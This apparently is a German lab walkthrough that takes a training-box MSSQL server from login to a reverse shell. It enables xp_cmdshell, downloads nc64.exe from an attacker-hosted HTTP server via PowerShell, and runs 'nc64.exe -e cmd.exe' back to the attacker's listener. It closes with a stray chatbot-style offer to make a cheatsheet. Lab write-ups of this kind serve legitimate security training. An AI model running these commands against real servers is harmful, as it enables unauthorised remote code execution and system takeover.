1433 - MSSQL

Einführung

Microsoft SQL Server (MSSQL) ist ein relationales Datenbankmanagementsystem, das in vielen Windows-Umgebungen zum Einsatz kommt. In Penetration Tests kann ein erreichbarer MSSQL-Server einen vielversprechenden Angriffsvektor darstellen, insbesondere wenn Login-Daten bekannt oder erratbar sind.

Ziel dieser Anleitung ist es, zu zeigen, wie man sich mit MSSQL verbindet, Berechtigungen prüft, die Kommandoausführung über xp_cmdshell ermöglicht und schließlich eine Reverse Shell erhält.


Verbindung zum MSSQL-Server mit mssqlclient.py

Wir nutzen das Tool mssqlclient.py aus der Impacket-Suite, um eine Verbindung herzustellen.

Befehl:

python3 mssqlclient.py ARCHETYPE/sql_svc@<TARGET_IP> -windows-auth
  • ARCHETYPE/sql_svc: Benutzername (Domäne/Benutzer)

  • -windows-auth: Nutzt Windows Authentication

Warum dieser Schritt wichtig ist: Damit erhalten wir eine interaktive SQL-Shell auf dem Server. Voraussetzung ist ein gültiger Benutzername und Passwort (z. B. aus Konfigurationsdateien).


Rollen und Rechte überprüfen

Nach dem Login prüfen wir, ob wir Systemrechte (sysadmin) haben:

SQL-Befehl:

SELECT is_srvrolemember('sysadmin');
  • Ausgabe 1 bedeutet, wir sind sysadmin und haben volle Kontrolle.

Warum dieser Schritt wichtig ist: Nur mit sysadmin-Rechten können wir xp_cmdshell nutzen und damit Systembefehle ausführen.


Kommandoausführung mit xp_cmdshell vorbereiten

xp_cmdshell ist standardmäßig deaktiviert. Wir aktivieren sie mit:

SQL-Befehle:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Warum dieser Schritt wichtig ist: Erst durch diese Befehle wird xp_cmdshell aktiviert und erlaubt die Ausführung von Systemkommandos über SQL.


Erste Systemkommandos ausführen

Testen, ob xp_cmdshell funktioniert:

EXEC xp_cmdshell 'whoami';

Warum dieser Schritt wichtig ist: Verifiziert, ob wir erfolgreich Kommandos ausführen können und mit welchem Benutzer wir arbeiten.


Reverse Shell vorbereiten

Wir starten einen Python HTTP-Server und Netcat Listener:

sudo python3 -m http.server 80
sudo nc -lvnp 443

Ziel: Die Datei nc64.exe vom eigenen System auf das Ziel laden.

Download-Verzeichnis herausfinden:

EXEC xp_cmdshell "powershell -c pwd"

Falls kein Schreibrecht, in z. B. C:\Users\sql_svc\Downloads wechseln.

Datei per PowerShell herunterladen:

EXEC xp_cmdshell "powershell -c cd C:\\Users\\sql_svc\\Downloads; wget http://<YOUR_IP>/nc64.exe -outfile nc64.exe"

Warum dieser Schritt wichtig ist: Wir platzieren ein Binary (Netcat), das uns eine Remote Shell liefert.


Reverse Shell starten

EXEC xp_cmdshell "powershell -c C:\\Users\\sql_svc\\Downloads\\nc64.exe -e cmd.exe <YOUR_IP> 443"

Warum dieser Schritt wichtig ist: Damit erhalten wir eine interaktive Remote-Shell als Benutzer sql_svc.


Was jetzt?

  • Sammle erste Informationen: whoami, hostname, ipconfig, systeminfo

  • Suche nach Rechten und Schwachstellen zur Privilege Escalation

  • Lies die user.txt auf dem Desktop des SQL-Nutzers


Zusammenfassung

  • Verbindung mit mssqlclient.py (Impacket)

  • Prüfen der Rechte mit is_srvrolemember

  • Aktivieren von xp_cmdshell

  • Remote-Kommandos ausführen

  • Reverse Shell holen per Netcat & PowerShell

Optional: Suche nach LPE (z. B. Unquoted Service Paths, AlwaysInstallElevated, Token Impersonation etc.) zur Privilege Escalation.

Wenn du willst, kann ich daraus auch eine kompakte Cheatsheet-Variante erstellen.

Last updated